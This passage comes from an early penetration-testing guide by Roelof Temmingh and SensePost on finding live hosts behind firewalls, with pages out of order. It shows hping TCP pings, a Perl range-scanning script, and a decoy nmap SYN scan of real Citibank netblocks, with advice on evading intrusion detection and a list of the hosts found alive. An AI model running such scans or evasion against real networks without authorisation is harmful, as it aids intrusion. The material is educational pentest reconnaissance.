# hping 196.35.xxx.12 -c 3 -A

HPING 196.35.xxx.12 (ep0 196.35.xxx.12): A set, 40 headers + 0 data bytes

46 bytes from 196.35.xxx.12: flags=R seq=0 ttl=115 id=20664 win=0 rtt=2088.2 ms

46 bytes from 196.35.xxx.12: flags=R seq=1 ttl=115 id=20665 win=0 rtt=2180.1 ms

46 bytes from 196.35.xxx.12: flags=R seq=2 ttl=115 id=20666 win=0 rtt=2130.1 ms

--- 196.35.xxx.12 hping statistic ---

3 packets tramitted, 3 packets received, 0% packet loss

round-trip min/avg/max = 2088.2/2132.8/2180.1 ms

Although the machine does not respond to ICMP ping packets, it responds with a RST flag if we send an ACK flag. So – there we go – a real TCP ping. How do we hping a lot of hosts? Here’s a quick & dirty PERL script that will do it for you:

#!/usr/bin/perl

# Usage: perl hpings startip-endip 'parameters_to_hping'

# eg. hpings 160.124.19.0-160.124.19.10 '-A -c 2'

$|=1;

@een=split(/-/,@ARGV[0]);

@ip1=split(/\./,@een[0]);

- 29 - Breaking into computer networks from the Internet [Roelof Temmingh & SensePost]

@ip2=split(/\./,@een[$#een]);

for ($a=@ip1[0]; $a<1+@ip2[0]; $a++) {

for ($b=@ip1[1]; $b<1+@ip2[1]; $b++) {

for ($c=@ip1[2]; $c<1+@ip2[2]; $c++) {

for ($d=@ip1[3]; $d<1+@ip2[3]; $d++) {

print "$a.$b.$c.$d : ";

system "hping $a.$b.$c.$d @ARGV[1]";

}}}}

Method1 ( Against Stateful Inspection FWs )

The idea is to find machines that are alive. The way we do this is by sending data to the host and looking if we can see any response. If our data were blocked at the router or firewall it would look as though the machine is dead. The idea is thus to find data that is allowed to pass the filters, and that would trigger a response. Per default just about all operating systems will listen on certain ports (if TCP/IP is enabled). Computers are likely to be connected to the Internet with a purpose - to be a webserver, mailserver, DNS server etc. Thus, chances are that a host that is alive and connected to the Internet is listening on some ports. Furthermore it is likely (less but still) than the firewall or screening router protecting these hosts allows some for of communication to these hosts - communication is less likely to be a one-way affair. Packetfilters uses source IPs, source ports, destination IPs and destination ports (and some flags) as parameters
- 26 - Breaking into computer networks from the Internet [Roelof Temmingh & SensePost]
to decide if a packet will be allowed to enter the network. Normally a firewall will allow the world to communicate to some host or hosts in some form or the other - thus not looking at the source IP address.

The idea would thus be to send a TCP connect on well-known ports and hope that 1) the firewall passes it through 2) the host is listening on the specified port. Given the response of the host, one can determine which of 1) and 2) happened. If we get no response we know that the firewall is blocking us - if we get a response from the server telling us that the port is not open we at least know that it was not filtered by the firewall. Hereby two examples:
>telnet wips.sensepost.com 22
Trying 160.124.19.98...

telnet: connect to address 160.124.19.98: Connection refused
telnet: Unable to connect to remote host

The host responded by telling us that it is not listening on port 22. It also tells us that there is nothing between us and the host (on port 22). So, if we find that for a certain block a number of hosts returns a "connection refused" while other are return a SSH version (port 22 is SSH) we can safely assume that the firewall is configured to allow anyone to connect to port 22 (anywhere in the netblock). Another example:
>telnet wips.sensepost.com 44
Trying 160.124.19.98...
telnet: Unable to connect to remote host: Connection timed out

Here the connection to port 25 is timing out - telling us that there are something blocking the packet to arrive at the final destination. Let us assume that we scan a netblock for port 25 and we find that certain hosts answers with a SMTP greeting, while others simply time out. This tells us that the firewall is configured to only allow packets with a certain destination port on a certain destination IP to enter the network. If we find a "connection refused" answer in a the same net we know that someone probably screwed up - the service is not running, but the config on the firewall has not been updated to close the "hole".

A machine that is dead will respond in the same way as a machine that is protected by a firewall that does not allow anything through. Thus, getting no response from a server does not mean that it is heavily firewalled - it might just be switched off, or unplugged.
Thus, getting back to the original argument - sending TCP requests to a number of well known ports might tell us if the machine is indeed alive. This might be useful in a situation where ICMP ping requests or replies are blocked on a firewall. We have no way to know if any hosts are alive but the connect to well-known ports and hope that 1) it is not firewalled and than 2) we get some response (be that "connection refused" or some service response).

The more ports we test for, the more our requests will look like a port scan (it is in fact a port scan - with just a limited amount of ports that are tested), and will trigger an IDS. It the therefore very tricky to decide if this action can be executed without triggering alarms - more so when we are scanning a large netblock. As a general rule, the number of IPs tested times the number of ports tested should not exceed 15. Testing 15 hosts for port 80 is OK, testing 5 IPs for 3 ports are OK etc. This is a very general rule and really depends on your target, the competency level of their technical staff and how anonymous you want to stay (and how lucky you feel).

Let us stay with Citibank (Citibank - I REALLY mean no harm - you are just such a good example network). Using the previous ping technique it seems that a device is blocking ICMP to the 192.193.195.0/24 netblock. We will thus proceed to do a "TCP ping" to 30 hosts (I feel lucky) in the block. I

- 27 - Breaking into computer networks from the Internet [Roelof Temmingh & SensePost]
choose this block because it has interesting reverse DNS entries (see previous section):
120.195.193.192.IN-ADDR.ARPA domain name pointer global120.citicorp.com
120.195.193.192.IN-ADDR.ARPA domain name pointer arrow2.citicorp.com
120.195.193.192.IN-ADDR.ARPA domain name pointer arrow2-a.citicorp.com
121.195.193.192.IN-ADDR.ARPA domain name pointer global121.citicorp.com
122.195.193.192.IN-ADDR.ARPA domain name pointer global122.citicorp.com
123.195.193.192.IN-ADDR.ARPA domain name pointer global123.citicorp.com
124.195.193.192.IN-ADDR.ARPA domain name pointer global124.citicorp.com
125.195.193.192.IN-ADDR.ARPA domain name pointer global125.citicorp.com
132.195.193.192.IN-ADDR.ARPA domain name pointer ld1-www.citicorp.com
140.195.193.192.IN-ADDR.ARPA domain name pointer mango1.citicorp.com
141.195.193.192.IN-ADDR.ARPA domain name pointer mango2.citicorp.com
150.195.193.192.IN-ADDR.ARPA domain name pointer fw-a-pri.ems.citicorp.com
Choosing which ports to scan for can be a tricky business. The best way is trying to choose ports that you think might generate a response. Looking at the reverse (or forward) DNS entries sometimes gives one a clue as to which ports to test for. Looking at the hosts reverse entries I am choosing my ports to be 80 (HTTP), port 443 (HTTPS) and port 264 (I hope the fw-a-pri is a FW1 with management port 264 open).The actual command issued looks like this:
#nmap -sS -P0 -Tpolite --randomize_hosts -D20x.195.1x0.5x,19x.3x.90.1x8,x04.x2.x53.18 192.193.195.120-150 -p 80,264,443

Let us have a quick look at the command. -sS means we are doing a half-open SYN scan, -P0 mean don't stop if you can't ping the host (nmap only scans pingable hosts by default, and we know that these cannot be pinged), -p 80,264,443 means only look at ports 80,264 and 443. Note - you have to be root to do SYN scanning. The output looks like this (somewhat manipulated to save the rain forest):

Interesting ports on global121.citicorp.com (192.193.195.121):
[same on 121, .122, .126, .128, .133, .134, .143, .148] sample A
Port State Service
80/tcp filtered http
264/tcp filtered bgmp
443/tcp filtered https
Interesting ports on (192.193.195.147):
[same on .131, .136, .141., .150] sample B
(The 2 ports scanned but not shown below are in state: closed)
Port State Service
264/tcp filtered bgmp
Interesting ports on global120.citicorp.com (192.193.195.120):
[same on .132, .123] sample C
Port State Service
80/tcp open http
264/tcp filtered bgmp
443/tcp open https

What can be deduced from the output? First of all this - hosts in sample A is filtered on all three ports. This does not mean that the hosts are not alive - it simply means that we do not know. Hosts in sample B is alive - we are 100% sure of this - although port 264 is filtered, these hosts answered that they are not listening on ports 80 or 443 (state "closed"). Sample C is the more interesting of the lot - both machines in sample C is listening on ports 80 and 443. It is most likely that they are running some form of (HTTPS-enabled) webserver.

From this scan we also see that IP numbers that does not have reverse DNS entries are not necessarily down, and visa versa. It would thus make no sense to only scan hosts with reverse entries (sometimes companies would do this - why no one would know). We also see that our scan on port 264 was unsuccessful in all cases (bummer!). From this part of netblock we can thus compile a list of hosts that we know is alive:

fw-a-pri.ems.citicorp.com (192.193.195.150)
- 28 - Breaking into computer networks from the Internet [Roelof Temmingh & SensePost]
192.193.195.127
mango2.citicorp.com (192.193.195.141)
global123.citicorp.com (192.193.195.123)
192.193.195.131
ld1-www.citicorp.com (192.193.195.132)
global120.citicorp.com (192.193.195.120)
192.193.195.136
(and possibly others - the scan was prematurely ended because we got the needed output)

The worth of mapping the network carefully now pays off. We know that the 192.193 network is not routed to the same place. This means we can have a "alive" run against many parts of the 192.193 network without raising the alarm - parts of the network (class Cs) are protected (or not protected) by different firewalls/routers, and changes are slim that these different firewalls are logging to a common place.